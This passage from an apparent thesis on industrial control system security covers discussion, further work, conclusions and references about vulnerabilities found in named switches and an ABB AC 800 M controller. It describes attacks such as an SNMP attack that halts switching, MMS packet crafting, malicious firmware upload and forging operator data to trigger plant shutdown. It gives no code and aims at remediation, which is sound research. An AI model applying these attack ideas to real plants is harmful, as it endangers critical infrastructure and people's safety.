further away from the core of the operating system by adding a layer of abstraction.
Enabling DCS applications to run on a virtual machine environment or using other
virtualization techniques. The advances in CPU power and network technology could
possibly provide the same real time services that only could be achieved through close
OS integration in the past.
The automation world is renowned for its focus on safety. To achieve the system availability needed in automation systems redundant network entities are used. As seen in
figure 9.1, the lower part of the DCS network have redundant network topology. An
example of a redundant network and controller architecture can be seen in figure 9.3.
We have two paired AC 800 M controllers controlling some unseen DCS device. The
controllers are linked together so that if one fails the other will resume the controller
operation. The controllers are attached to a primary and secondary network through
switches providing ring redundancy at the network level. We see that this topology offers redundancy at several levels and it is safe to assume this system would be called a
dependable system using the definition from section 2.2.
In chapter 7 we found several vulnerabilities in both switches and the AC 800 M con-
9.1. PLANT SECURITY
137
Figure 9.3: A redundant network and controller architecture [28].
troller. We proved that the Hirschmann switch depicted in figure 9.3 is vulnerable to a
SNMP attack and that this attack stops the switching process. Anyone with access to
the DCS network could either take out both controllers or all four switches using the
findings in chapter 7. No matter what level of redundancy a DCS network utilizes it will
still be vulnerable to intentional attacks by misfeasors. One could argue that an attacker
would never be able to penetrate the defensive perimeter surrounding the DCS network,
but there are many examples of the opposite. We presented some of these incidents in
chapter 1. Therefore we feel that DCS system lack the property of survivability discussed
in section 2.3. The DCS system is very well guarded against accidental faults, but lack
the same functionality when it comes to security. To increase the survivability of the
network we must improve the security of network devices. We have in this thesis focused
on device security and found it that it is less then desirable in the devices deployed in
DCS and other production environments today. In the IT world it is common to harden
a host before it is connected to a network by shutting down unnecessary services and
applying patches. Fore large web-based application it is in some cases also used penetration testing to identify vulnerabilities. We feel the manufacturers of DCS equipment
could learn from penetration testing in the IT world and should subject their devices
to a set of security tests. We will discuss the test tools used in this thesis later in this
chapter.
138
9.2
CHAPTER 9. DISCUSSION
Improvements
When it comes down to proposing improvements for the devices we have examined,
we have already made some suggestions to improve device security in chapter 7. We
feel that all vulnerabilities identified in this thesis should be addressed. The class one
vulnerabilities should be removed as quickly as possible, as they pose a potential risk
to any plant using these devices. As we have seen, the automation industry use much
resources on dependable systems to protect plants from accidental errors. We feel that
some effort should be spent on making DCS equipment secure.
The lack of proper access control has been a recurring theme in this thesis, and we feel
that the automation world should integrate stronger authentication and access control
mechanisms into their systems and not rely on firewalls to protect the DCS networks.
The risk of someone using packet crafting techniques to attack DCS systems we continue
to exist as long as the DCS protocols lack basic security mechanisms. We especially wish
to point out the need for message integrity and authentication. Implementing security
functionality that lies latent in protocol standards such as MMS will improve security of
DCS devices. Authentication in MMS could be implemented through the use of ACSE
as it is described in ISO standards [5] and [7] without changing the MMS significantly.
When it comes down to message integrity, some sort of message authentication code
included in each message would provide the best protection against message tampering. This could be paired with a time stamp to ensure message ”freshness”. As most
DCS devices already use NTP to synchronize time, such a mechanism could be easily
implemented.
Also to migrate from insecure protocols such as telnet to secure protocols such as SSH
will improve both device and network security. This The manufacturers of DCS devices
should also use protocol stacks in conformity with IEEE standards. Simply ignoring functionality or diverging from protocol standard, such as authentication in SNMP through
community strings, increases the risk of vulnerabilities in protocols.
Currently, the most common way of securing DCS communication is through tunneling
DCS protocols inside secure protocols such as SSL. This provides a secure communication channel, but is not a optimal solution due to additional overhead and we feel
strategy should not be seen as a final solution to security in DCS communication.
9.3
Comment on Tools
To end this chapter we will make some observations about using security tools designed
for computer systems to scan for security vulnerabilities in DCS equipment. On a general
basis, we have discovered that the scanning and hacking tools freely available on the
Internet are capable of finding and exploiting vulnerabilities in DCS and process control
equipment. But, as we have seen, they have a higher rate of false positives and false
9.3. COMMENT ON TOOLS
139
negatives. The false positives are much easier to detect and process than false negatives
as false negatives not will be reported and may hide critical vulnerabilities. One such
false positive was the modem Nessus reported on the Hirschmann switch in section 7.3.3.
If we review the findings in tables 7.2, 7.5, 7.7 and 7.10, we discover that Nessus recognizes more services than Nmap but has a higher rate of false positives. Nessus also
always fail to identify RPC services for unknown reasons, but Nmap’s RPC version probe
detects all RPC services. Nessus recognizes the ISO transport service, COTP, used in
the MMS stack. This identifies the need to adapt the signature set of the scanning
tools to also include specific signatures for DCS protocols. Nmap on the other hand
fails to identify SNMP and Network Time Protocol (NTP) services. As we have seen,
some of the SNMP stacks are not in conformance with the standards and this might
be the reason for Nmaps failure. We feel that some effort should be put into making
the scanners more reliable, when it comes to detecting services on DCS equipment. We
realize of course that manufacturers of DCS devices know what services their products
run, but DCS network administrators might not always know what hides behind a open
port. In section 7.2.2 Nmap identifies a service running on port 4000 over TCP on the
Moxa switch as a remoteanything service. What lies behind this open port is, despite
our efforts, still unknown to us. By using both Nmap and Nessus to scan the devices,
we feel that the tools combined identifies most services. These tools are also likely to be
used by attackers to gather information about hosts and devices on a network.
Mu-4000 finds errors in protocols that Nessus misses, but verifying Mu-4000 findings is
a time consuming process as the reports relate to protocol specific fields and flags. A
packet crafting tool that allows misconfigured packages is needed to verify the reports.
As discussed in sections 7.3.5 and 7.3.6, errors reported by the Mu-4000 vary with the
timeout and delay parameters used in the scan. It is clear that we need to establish
some baseline and set the parameter according to this. As it is unlikely that potential
malfeasors will treat equipment nicely, baseline should reflect this when it comes to
timeout and delay values. We are not satisfied with the reports generated by the Mu4000. They use their own terms to label some protocol fields and flags. This can be very
confusing when we are trying to combine the Mu-4000 report with other information
sources to asses the overall security of a device. We would also like to know more
about the manner in which the reported vulnerability manifested itself. The Mu-4000
generates a binary file to help us to reproduce the vulnerability, but gives us no in-depth
information. In some cases, especially in a development phase, it would be much more
helpful for a developer to read the source-code that generates the fault instead of just
rerunning the binary provided by the Mu-4000 and examining the response through
Wireshark or TCPdump.
The Achilles unit itself was a box quite similar to the Mu-4000, but it came with experienced test personnel, and as they knew how to interpret the reports, the tests could be
tuned in a more appropriate manner and thus provide more accurate results. To achieve
similar accuracy and understanding of Mu-4000 reports will require a substantial amount
of training.
140
CHAPTER 9. DISCUSSION
We feel that the Achilles and Mu-4000 devices are best suited as tools for developers,
with intimate knowledge of the software. By combining the developers knowledge of the
software with the black box tests of these devices many vulnerabilities may be removed.
We feel that these devices should be integrated in the implementation and test phase of
product development. By doing so the product will most likely be more secure and it is
cheaper to remove vulnerabilities in a early stage of the development cycle.
The overall usability of these tools might be good as long as one are aware of the
limitations of the tools. These tools make it easy to automate a set of security test,but
all vulnerabilities can not be found by permuting protocol fields as the Mu-4000 does.
Therefore we do not feel that these devices can replace the open source tools available
on the Internet today in a system or device security test, as we feel they are a bit limited
in their functionality. Open source tools on the other hand are often designed for one
purpose, e.g. a brute force password cracker, and those tools that remain popular on
the Internet tend to be very effective. We realize that many open source tools require
technical ”know-how” beyond what normal test personnel possess and that all companies
can not employ security experts to test their devices.
Chapter 10
Further Work
This thesis has identified several issues that should be resolved to improve the security
of DCS networks. We will in this chapter try to look beyond what we have accomplished
in this thesis and identify areas of interest for further work.
10.1
Analysis of DCS Protocols
We have in this thesis analyzed a DCS protocol. We have focused on the basic communication between a controller and a management application and done the ”ground work”
of analyzing the protocol and in a minor way contributed to the development of a MMS
plugin for Wireshark. Based on our work, further analysis of MMS is now possible, as
the wireshark patch removes the time consuming work of decoding the communication
by hand. Especially the MMS write and download operations should be examined further to determine possible vulnerabilities in these operations. Any vulnerability in either
MMS write or download procedures could have devastating effect on any controller. An
attacker changing one variable on a controller to induce an error will be much harder
to detect than an exploits that crashes the entire device. Such an attack might also
allow the attacker to take control over a part of or perhaps even the entire process. The
Access-Control-List function in the MMS specification should also be implemented and
used in MMS communication. Also other parts of the MMS, such as connection setup
and method negotiation, should be addresses with regard to security issues.
We still haven’t been able to identify the purpose behind every information strings found
in our analysis of MMS communication. Some seem to be related to ABB’s Control
Builder application and other seem to be an identifier for the controller and a message
priority scheme. Understanding the purpose of these fields could prove to be vital in
finding new vulnerabilities in the protocol and more time should be spent on deciphering
the purpose of these strings.
141
142
CHAPTER 10. FURTHER WORK
Through our work on analyzing the MMS protocol we have discovered that there are
very little documentation available on the real implementation of MMS. Those sources
that can be found are often not accurate and sometimes contradictory. Therefore we feel
that more work should be put into documenting the real workings of the MMS protocol,
because, as we have seen, the implementation of the MMS diverge from the ISO standard
on several accounts.
We have in this thesis analyzed only one DCS protocol. There are a multitude of DCS
protocols used in the industry today and similar analysis should be performed on those
protocols. We also need to develop secure DCS protocols to discontinue the excessive use
of TLS tunneling found in DCS networks today. Also security issues of using tunneling to
protect DCS communication should be further investigated as there might be unknown
pitfalls in this practice.
10.2
Testing of DCS Devices.
We have tested a small set of devices and found several vulnerabilities. Other devices
used in DCS networks should be exposed to similar testing to determine if they have
the same vulnerabilities. If the same type of vulnerabilities are found in equipment
produces by one vendor, the vendor should educate his developers in basic software
security principles to avoid further vulnerabilities in new products. We have only used a
small selection of tools to test the devices. The devices should be exposed to other tools
to determine if they have other vulnerabilities.
The error reports by the Mu-4000 should be verified manually through the use of a packet
crafting tool. We feel that Scapy is the tool that is best suited to verify the errors found
by the Mu-4000. This is very time consuming work and some effort should be put into
automating the testing process through the use of e.g., Perl scripts. The vulnerabilities
identified in this thesis should be addressed and patched both on new equipment and on
equipment already deployed in the field.
The Ontime FTP upload mechanism should be investigated further to determine if the
switch can be damaged by uploading a malicious binary. The binary could be concatenated to the end of a legitimate firmware upgrade or tried as a stand alone upgrade.
Security issues related to devices running a full operating systems should also be further
investigated, both when it comes to patch management practices and possible exploits.
ARP flooding attacks should also be run against all switches to see how such an attack
effect the switch.
Tests on a larger scale DCS network should also be performed to determine how the
vulnerabilities found in this thesis effect the redundant network structures used in DCS
networks today. Testing for security issues should also be integrated in the device manufacturers test routines.
10.3. PROTECTING DCS NETWORKS
143
A general mitigation towards secure protocols and the discontinued use of insecure protocols and applications in DCS networks are strongly recommended. Efforts should be
put into making the manufacturers aware of this requirement.
10.3
Protecting DCS Networks
Even though our focus in this thesis have been on device security, we have in sections
3.1 and 3.3 seen some current efforts of protecting DCS networks. We think that the use
of anomaly-based detection for IDS systems should be explored further as it may prove
to be a valuable addition to DCS monitoring and network security.
DCS specific firewalls and deep packet inspection techniques for DCS protocols should
also be further investigated as many devices in DCS networks will also in the future be
unable to protect themselves from malicious threats.
DCS honeypots could prove valuable when it comes down to collecting information about
attackers and attack strategies. It might also help to identify unknown vulnerabilities is
DCS entities. We therefor recommend the deployment of a DCS honeypot to determine
how an attacker will react to finding such a system online.
10.4
Constructing MMS Packets
We have shown that it is possible to construct and send MMS PDUs by using Scapy.
We feel that more effort should be used on testing the AC 800 M with custom made
packets. We have not managed to get the controller to accept false address strings,
but this does not rule out any buffer overflow weaknesses. It just indicates that there
are unresolved issues in understanding the address structure of the AC 800 M. As any
buffer overflow vulnerability could have serious consequences for the controller we feel
that this is an issue for further work. Also issues regarding dangerous effects of abusing
legal MMS methods such as e.g. stop, kill, cancel and fileDelete should be explored
further to determine if the controller should continue to accept these methods. Since all
legal methods are negotiated during MMS setup such an improvement should be easy
to implement.
In this thesis we have focused on testing the AC 800M with custom made packets. We
think that the reverse scenario should also be investigated; how custom made packets
affect ABB’s 800xA1 or other HMI workstations. To shut down a plant, it might be
easier to forge information and send to the operator and let him shut down the plant as
a safety precaution, than to attack the DCS directly. Another attack might be directed
1
800xA is ABB’s extended operator workplace, a HMI, that present plant control data to the operator.
It is used in DCS management and control functions such as safety controls, production management
and network management .
144
CHAPTER 10. FURTHER WORK
at the 800xA, leaving the operator without any control over the process, forcing the
plant’s safety mechanism to eventually shut down the process.
Similar attacks should also be tested using other DCS protocols. Tests on a larger
system, using ARP poisoning as a part of the attack should also be performed.
10.5
Adapting IT Security Tools to DCS Equipment
We have in this thesis seen that IT security tools adapt well to testing DCS equipment. The functionality of these tools should be enhanced to remove false positives.
By designing tools especially for DCS equipment the amount of false negatives that escape unnoticed should also decrease. The development of such tools is clearly a step in
the right direction. We have already seen that the creation of a plugin to Wireshark
proved to be a valuable tool when working with DCS protocols. Similar efforts should
be encouraged in other tools.
Adapting test and development routines to the use of automated tools such as Mu4000 and Achilles should also be encouraged as this hopefully will lead to more secure
products.
Chapter 11
Conclusion
We have in this thesis focused on DCS device and protocol security. We have reviewed
the background information on the ISO MMS standard and seen that the implementation
of MMS diverges from the standard on several accounts. We have performed an in-depth
analysis of one DCS protocol, namely the MMS, and documented the real MMS stack
and decoded MMS communication between an industrial controller and the controlling
application. We have identified the lack of authentication in this protocol and made
some suggestions on how to improve the security of this protocol.
We have tested three industrial switches and a controller used in the industry today
for security vulnerabilities and documented the results. An overview of the results are
presented in table 11.1.
Device
Moxa EDS-508
Hirschmann MM3-4TX1-RT
Ontime FS200
AC 800 M
Total
Class one
1
1
0
2
4
Class two
1
1
4
0
6
Class three
4
1
4
1
10
Table 11.1: The table displays test results from all device tests in this thesis using the
classification defined in section 5.1.2.
We found 4 vulnerabilities that interrupted the devices in their primary task. These
vulnerabilities are so serious that they should be dealt with immediately. We also found
six vulnerabilities that crash secondary services on the devices, even though the devices
still perform their primary tasks these vulnerabilities could possibly be further exploited
and therefore the services should be patched with the latest security patches. If no
patch exists, one should be developed in cooperation with the manufacturer. We also
identified ten ”minor” vulnerabilities, these relate to i.e., password exposure, and should
not be thought of as minor in the sense of ”not a risk”. Some of these vulnerabilities
145
146
CHAPTER 11. CONCLUSION
can be fixed by migrating to secure protocols. Tunneling can be used as a temporary
fix, but we recommend that secure protocols are implemented in the long run. All
these vulnerabilities are explained, documented and discussed in this thesis. During our
discussions we also propose improvements on how to mitigate these risks.
We have demonstrated the feasibility of the attack described by Byres et al. in [11].
We performed a ”proof-of-concept” packet crafting attack against the MMS and demonstrated the need for a message integrity mechanism in the protocol. We have also shown
that the AC 800 M is susceptible to a packet crafting attack.
We have discussed how our findings effect DCS networks and what can be done to
mitigate those threats. We have shown that open source security tools designed for the
IT world can be applied to security testing of DCS equipment. At the end of this thesis
we have identified several areas of interest as a logical consequence of work work.
Bibliography
[1] Information technology – Open Systems Interconnection – Connection-oriented presentation protocol: Protocol specification., 1994.
[2] X.226 : Information technology - Open Systems Interconnection - Connection oriented pressentation protocol: Protocol specification., 1994.
[3] X.217 : Information technology - Open Systems Interconnection - Service definition
for the Association Control Service Element., 1995.
[4] Information processing systems - Open Systems Interconnection, Protocol Specification for Association Control Service Element., 1996.
[5] Information processing systems - Open Systems Interconnection, Service Definition
for Association Control Service Element, 1996.
[6] X.680 :Information technology - Abstract Syntax Notation One (ASN.1): Specification of basic notation., 2002.
[7] Industrial automation systems, Manufacturing Message Specification. Part 1, 2003.
[8] Avizienis, A., Laprie, J.-C., Randell, B., and Landwehr, C. Basic concepts
and taxonomy of dependable and secure computing. IEEE TRANSACTIONS ON
DEPENDABLE AND SECURE COMPUTING 3, 1 (2004), 11–33.
[9] Beaver, C. L., Gallup, D. R., NeuMann, W. D., and Torgerson, M. D.
Key management for scada. Tech. Rep. SAND2001-3252, Sandia National Laboratories, Sandia National Laboratories Albuquerque NM 87185-0785, Mai 2003.
[10] Bryes, E., Karsch, J., and Carter, J. Firewall deployment for scada and
process control networks. Tech. Rep. 1.4, NISCC, National Infrastructure Security
Co-ordination Center P O Box 832 London, February 2005.
[11] Byres, E. J., Hoffman, D., and Kube, N. On shaky ground - a study of
security vulnerabilities in control protocols. Tech. rep., Wurldtech Analytics Inc,
Wurldtech Analytics Inc. 208-1040 Hamilton St. Vancouver BC Canada V6B 2R9,
Descember 2006.
148
BIBLIOGRAPHY
149
[12] Cheswick, W. R., Bellovin, S. M., and Rubin, A. D. Firewalls and Internet
Security: Repelling the Wily Hacker. Addison-Wesley Longman Publishing Co.,
Inc., Boston, MA, USA, 2003.
[13] Chevalier, Y., Compagna, L., Cuellar, J., Drielsma, P. H., Mantovani,
J., Mödersheim, S., and Vigneron, L. A high level protocol specification
language for industrial security-sensitive protocols. In Workshop on Specification
and Automated Processing of Security Requirements (SAPS 2004). 2004.
[14] Dawson, R., Boyd, C., Dawson, E., and Nieto, J. M. G. Skma: a key
management architecture for scada systems. In ACSW Frontiers ’06: Proceedings of
the 2006 Australasian workshops on Grid computing and e-research (Darlinghurst,
Australia, Australia, 2006), Australian Computer Society, Inc., pp. 183–192.
[15] DeLooze, L. L. Attack caracterization and intrusion detection using an ensemble
of self-organizing maps. Proceedings of the 2006 IEEE Workshop on Information
Assurance (2006), 108–116.
[16] Denning, D. E. An intrusion-detection model. IEEE TRANSACTIONS ON
SOFTWARE ENGINEERING SE-13, 2 (1987), 222–233.
[17] Dierks, T., and Allen, C. The TLS Protocol Version 1.0, 1999.
[18] Edney, T., and Arbaugh, W. A. Real 802.11 Security: Wi-Fi Protected Access
and 802.11i. Addison-Wesley Longman Publishing Co., Inc., Boston, MA, USA,
2003.
[19] Ellison, R. J., Fisher, D. A., Linger, R. C., Lipson, H. F., Longstaff, T.,
and Mead, N. R. Survivable network systems: An emerging discipline. Report
by SEI Joint Program Office, 1999.
[20] Falk, H., and Burns, D. M. MMS and ASN.1 Encoding. Tech. rep., SISCO,
6605 19,5 Mile Road, Sterling Heights, MI 48314-1408, USA, 2001.
[21] Falk, H., and Robbins, J. An Explanation of the Architecture of the MMS
standard. Tech. rep., SISCO, 6605 19,5 Mile Road, Sterling Heights, MI 483141408, USA, 1995.
[22] Floyd, L., and Ronald, D. Manufacturing automation protocol. Conference
Record - International Conference on Communications (1985), 620 – 624. MANUFACTURING AUTOMATION PROTOCOL (MAP) MULTIVENDOR ENVIRONMENT GM TASK FORCE.
[23] Frankel, S. Demystifying the Ipsec Puzzle. Artech House, Inc., Norwood, MA,
USA, 2001.
[24] Glass, R. L. The software-research crisis. IEEE Software 11, 6 (1994), 42 – 47.
[25] Graham, J. H., and Patel, S. C. Security considerations in scada communication
protocols. Tech. Rep. TR-ISRL-04-01, Intelligent Systems Research Laboratory,
150
BIBLIOGRAPHY
Dept. of Computer Engineering and Computer Science University of Louisville KY
40292, September 2004.
[26] Hallingstad, G., Jaatun, M. G., and Windvik, R. Firewall technology. Tech.
Rep. 01741, Norwegian Defence Research Establishment, FFI P O Box 25 NO-2027
Kjeller, April 2002.
[27] Helvik, B. E. Dependable Computing Systems and Communication.
akademisk forlag, Trondheim, NTNU, 2003.
Tapir
[28] Industrial IT Group ABB. 800xa system version 5.0 automation system network design and configuration. Tech. rep., ABB, Affolternstrasse, 44 8050 Zurich,
Switzerland, Descember 2006.
[29] Laprie, J.-C. Dependable computing and fault tolerance: Concepts and terminology. In Digest of Papers - FTCS (Fault-Tolerant Computing Symposium) (1995),
pp. 2–11.
[30] Larmouth, J. ASN.1 complete. Morgan Kaufmann Publishers Inc., San Francisco,
CA, USA, 2000.
[31] Limoncelli, T. A., and Hogan, C. The Practice of System and Network Administration. Addison Wesley, New York, USA, 2005.
[32] McKenzie, A. M. RFC 905: ISO transport protocol specification ISO DP 8073,
Apr. 1984. Obsoletes RFC0892.
[33] Oman, P., and Phillips, M. Implementing and testing a custom ids for substation
and process control systems. Tech. rep., Dept. of Computer Science University
of Idaho, Dept. of Computer Science University of Idaho Moscow ID 83844-1010,
Descember 2006.
[34] Orman, H. The OAKLEY Key Determination Protocol, 1998.
[35] Perry, W. E. Effictive Methods for Software Testing. Wiley-QED Publications
by John Wiely and sons, Inc, New York, USA, 1995.
[36] Pouffary, Y., and Young, A. RFC 2126: ISO transport service on top of TCP
(ITOT), Mar. 1997. Status: PROPOSED STANDARD.
[37] Rescorla, E. Diffie-hellman key agreement method, 1999.
[38] Rose, M. T. The open book: a practical perspective on OSI. Prentice-Hall, Inc.,
Upper Saddle River, NJ, USA, 1990.
[39] Rose, M. T., and Cass, D. E. RFC 1006: ISO transport services on top of the
TCP: Version 3, May 1987. Obsoletes RFC0983 Updated by RFC 2126. Status:
STANDARD.
[40] Shirey, R. Internet Security Glossary. RFC 2828 (Informational), May 2000.
BIBLIOGRAPHY
[41] Solheim, I., and Stoelen, K. Teknologiforskning - hva er det?
STF90 A06035, SINTEF IKT, SINTEF, Norge, September 2006.
151
Tech. Rep.
[42] Spitzner, L. The Honeynet Project: trapping the hackers. Security and Privacy
Magazine. IEEE 1, 2 (2003), 15–23.
[43] Stamp, J., Cambell, P., DePoy, J., Dillinger, J., and Young, W. Sustainable seciruty for infrastructure scada. Tech. Rep. SAND2003-4670C, Sandia
National Laboratories, Sandia National Laboratories Albuquerque NM 87185-0785,
Mai 2003.
[44] Stoll, C. The Cuckoo’s Egg. Doubleday, New York, USA, 1989.
[45] Stouffer, K., Falco, J., and Kent, K. Guide to Supervisory Control and Data
Acquisition (SCADA) and Industrial Control Systems Security. Recommmendation
of the National Institute of Standards and Technology Special Publication 800-82
Initial draft, 2006.
[46] Subramanian, M. Network Management: An Introduction to Principles and Practice. Addison-Wesley Longman Publishing Co., Inc., Boston, MA, USA, 1999.
[47] Swaminathan, P., Padmanabhan, K., Ananthi, S., and Pradeep, R. The
secure field bus (secfb) protocol- network communication security for secure industrial process control. TENCON 2006 - 2006 IEEE Region 10 Conference (IEEE
Cat. No. 06CH37830) (2006), 4 pp.
[48] System Integration Specialists Company (SISCO). Overview and Introduction to the Manufacturing Message Specification (MMS). Tech. rep., 6605 19,5 Mile
Road, Sterling Heights, MI 48314-1408, USA, 1995.
[49] Szor, P. The Art of Computer Virus Research and Defense. Addison Wesley,
2005.
[50] van Vliet, H. Software Engineering, Principles and Practice. Wiley, New York,
USA, 2002.
Web Resources
[Ach07]
Achilles security scanner.
http://www.wurldtech.com/.
Published on wurldtech.com, June 2007.
[Bas07]
Basic encoding rules. Published on Vijay Mukhi’s Computer Institute, India,
February 2007. http://www.vijaymukhi.com/vmis/ber.htm.
[CER07] Cert advisory ca-2003-10 integer overflow in sun rpc xdr library routines.
Published on cert.org, June 2007. http://www.cert.org/advisories/CA-200310.html.
[CNN98] Teen hacker faces federal charges. Published on CNN.com, march 1998.
http://www.cnn.com/TECH/computing/9803/18/juvenile.hacker/index.html.
[DES07]
Des encryption.
Published on tropsoft.com,
http://www.tropsoft.com/strongenc/des.htm.
[Dev07]
Developments of the honeyd virtual honeypot. Published on honeyd.org, June
2007. http://www.honeyd.org/.
[Dig07]
Digital bond.
Published
http://www.digitalbond.com.
[Gar05]
Gartner survey ranks top ten security threats. Published on gartner.com,
June 2005. http://www.gartner.com/press releases/asset 129199 11.html.
on
digitalbond.com,
June
June
2007.
2007.
[Goa04a] Goahead webserver bug. Published on aluigi.altervista org’s Homepage, January 2004. http://aluigi.altervista.org/adv/goahead-adv1.txt.
[Goa04b] Goahead webserver bug. Published on aluigi.altervista org’s Homepage, January 2004. http://aluigi.altervista.org/adv/goahead-adv2.txt.
[Hig03]
Nuclear plants warned of internet virus attacks.
Published
on
taborcommunications.com,
September
2003.
http://www.taborcommunications.com/hpcwire/hpcwireWWW/03/0905/105866.html.
[IAN07]
Iana port numbers. Published on Internet Assigned Numbers Authoritys (IANA) Homepage, April 2007. http://www.iana.org/assignments/portnumbers.
153
154
WEB RESOURCES
[IP 07]
Ip stack integrity checker. Published on packetfactory.net’s Homepage, April
2007. http://www.packetfactory.net/Projects/ISIC/.
[Mal07]
Malicious
software
encyclopedia:
Win32/msblaster.
Published
on
Microsoft.com,
June
2007.
http://www.microsoft.com/security/encyclopedia/details.aspx?name=Win32
%2fMsblast.
[Mer07]
Merriam-webster’s thesaurus. Published on webster.com, February 2007.
http://www.webster.com/cgi-bin/thesaurus?bookT̄hesaurus&var̄esearch.
[Met07]
Metasploit project. Published on metasploit’s Homepage, April 2007.
http://www.metasploit.com/.
[Mod07a] Transparent modbus/tcp filtering with linux. Published on sourceforge.net,
June 2007. http://modbusfw.sourceforge.net/.
[Mod07b] Modbus protocol specification. Published on modbus-ida.org, June 2007.
http://www.modbus-ida.org/specs.php.
[Mul07]
Multiple vulnerabilities in ssl/tls implementations.
Published on uscert.gov, June 2007. http://www.us-cert.gov/federal/archive/advisories/FA2003-26.html.
[Nes07]
Nessus vulnerability scanner. Published on Tenable Network Security’s Homepage, April 2007. http://www.nessus.org/.
[Nma07] Nmap security scanner port numbers. Published on insecure org’s Homepage,
April 2007. http://insecure.org/nmap/data/nmap-services.
[OWA07] Owasp testing authentication. Published on owasp.org’s Homepage, April
2007. http://www.owasp.org/index.php/Testing for authentication.
[Pac07]
Packet
wizardry:
Ruling
the
network
with
python.
Published
on
packetstorm.linuxsecurity.com,
June
2007.
http://packetstorm.linuxsecurity.com/papers/general/blackmagic.txt.
[PRO01] Protos test-suite snmp.
Published on Department of Electrical and Information Engineering, University of Oulu, September
2001.
http://www.ee.oulu.fi/research/ouspg/protos/testing/c05/httpreply/index.html.
[SAM07] The samhain file integrity / intrusion detection system. Published on lasamhna.de, May 2007. http://www.la-samhna.de/samhain/.
[SCA07a] Scada honeynet.
Published on digitalbond.com, June
http://www.digitalbond.com/index.php/resources/scada-honeynet/.
2007.
[SCA07b] Scada honeynet project: Building honeypots for industrial networks. Published on sourceforge.net, June 2007. http://scadahoneynet.sourceforge.net/.
WEB RESOURCES
155
[SCA07c] Scada network ids project.
Published on digitalbond.com, June
2007. http://www.digitalbond.com/index.php/resources/scada-network-idsproject/.
[Sca07d]
Scapy packet constructor.
Published on secdev.org,
http://www.secdev.org/projects/scapy/.
[Sca07e]
Scapy
packet
constructor.
a
very
incomplete
ing of a doc.
Published on secdev.org,
June
http://www.secdev.org/projects/scapy/files/scapydoc.pdf.
[sec03]
Slammer worm crashed ohio nuke plant network. Published on Securityfocus.com, September 2003. http://www.securityfocus.com/news/6767.
[Sec07]
Securityspace
vulnerability
search.
on
securityspace.com’s
Homepage,
April
http://www.securityspace.com/smysecure/catid.html?id=11185.
[SIS07]
Siscos mms syntax.
Published on Systems Integration Specialists
Company
(SISCO),
Inc.
Homepage,
February
2007.
http://www.sisconet.com/downloads/mms abstract syntax.txt.
[Sma07]
Smashing the stack for fun and profit.
Volume Seven, Issue Forty-Nine, File 14
http://insecure.org/stf/smashstack.html.
[Sno07]
of
June 2007.
begin2007.
Published
2007.
Phrack magazine,
16, April 2007.
Snort homepage. Published on Snort.org, May 2007. http://www.snort.org.
[The07a] The ’+ + + ath0’ dial-up modem exploit. Published on Insecure.org’s Homepage, April 2007. http://seclists.org/bugtraq/1998/Sep/0192.html.
[The07b] The hackers choice- hydra. Published on The Hackers Choice, January 2007.
http://thc.org/releases/hydra-5.3-src.tar.gz.
[The07c] The hayes modem command set. Published on KDE’s documentation pages,
April 2007.
http://docs.kde.org/stable/en/kdenetwork/kppp/appendixhayes-commands.html.
[The07d] The honeynet project homepage.
http://www.honeynet.org/.
Published on honeynet.org, May 2007.
[The07e] The nmap security scanner. Published on Insecure.org’s Homepage, April
2007. http://insecure.org/nmap/index.html.
[Wir06]
Wireshark wiki on acse. Published on Wiresharks wiki page, June 2006.
http://wiki.wireshark.org/ACSE.
Appendix A
MMS
A.1
Table of MMS Objects with Description
M M SM odelObject
Context
Virtual Manufacturing Device
Named variables
Named Variable List
Scattered Access
Description
The context object represents the attributes that are exchanged so
that the MMS behavior is known to both cooperating applications
prior to attempting to use other MMS services.
The VMD itself can be viewed as the object in which all other
MMS objects are contained. It has attributes that reflect general
capabilities and a general set of methods that are inherited by all
other MMS objects.
This class of object is, in general, used for ”real-time” data exchange. Its intended use is for data monitoring, non-historic data
reporting, and allowing data to be reported in an unsolicited fashion.
This class of object is used to aggregate, into a list, other variable objects. It differs from the Named Variable object in that
each element in the list (when accessed) returns its own success or
failure.
This class of object is, in general, used for ”real-time” data exchange. It differs in capability from the Named and Named Variable List objects through its external behavior. The differentiating
behavior is its ability to aggregate other variable objects and have
the external appearance of creating a single coherent variable. The
intended use of this object is to allow non-MMS variables to be
aggregated into complex MMS objects allowing for the migration
of legacy protocols.
156
A.1. TABLE OF MMS OBJECTS WITH DESCRIPTION
Named Type
Semaphore
Event Condition
Event Action
Event Enrollment
Journal
157
This class of object is used to create a dictionary of well known, and
re-usable, data type definitions which allow complex variables to be
created. It allows the consistent definition of data representation
and the associated range of values to be defined.
This class of object is intended to be used for the resolution of
object/resource contention. The characteristics of this object were
developed with the UNIX semaphore/token model as the basis.
This class of object is used to allow network applications to be
able to determine the state of a condition (Active, Inactive, or
Disabled). The specification does not specify the local processing
required to transition the state of the object, but how to use the
object to trigger network activity based upon the state transitions.
The combination of EventCondition, EventAction, and EventEnrollment object use is intended for the construction of dynamic
report by exception network scenarios.
Instances of this class of object allows for a set of potential network
actions to be defined. These actions are then linked to a particular
EventCondition transition through the use of an EventEnrollment
object. The combination of EventCondition, EventAction, and
EventEnrollment object use is intended for the construction of
dynamic report by exception network scenarios.
Instances of this class allow a network application to define that a
particular EventAction object be performed upon a given EventCondition state transition. Further, it allows the specification of
which network application should be notified of the occurrence of
the state transition. The combination of EventCondition, EventAction, and EventEnrollment object use is intended for the construction of dynamic report by exception network scenarios.
This class of object is used for the exchange of historic or archived
information. The object allows for data and network (MMS) transactions to be written into a ”log” type of format that allows for the
creation of a Sequence of Events (SOE) recording function. Likewise, the ”logged” information can be retrieved so that applications
can regenerate information whose time sequencing is important.
158
Domain
APPENDIX A. MMS
This class of object has been left intentionally vague within the
MMS specification. The standard states that domains represent
resources. Therefore, the first question is what is the definition of
a ”resource”. The intended definition of resource was any aggregation of objects, data, etc... required to perform a single function.
It can contain execution instructions, MMS objects, and other information. In general, the concept was borrowed from the process
control industries where batch processing needed to be facilitated.
This object allows executive code (programs) and configuration
settings to be uploaded/downloaded over the network.
Program Invocations
The behavior of this object was borrowed from the concept of a
UNIX Execution Thread. It is the object that is used to start and
stop remote application processes.
Operator Station
This object facilitates a poor-man’s Telnet exchange of information. The use of this object is restricted to the exchange of simple
text messages for human operators.
File
This class of object is to be used to transfer binary file information.
It does not provide record access but transfers files in their entirety.
Table A.1: The 15 MMS Objects and a description of their intended use
A.2. ASN.1 MMS
A.2
159
ASN.1 MMS
In this section we include the full MMS modules discussed in section 4
A.2.1
The MMSPDU Module
MMSpdu ::= CHOICE
{
confirmed-RequestPDU
confirmed-ResponsePDU
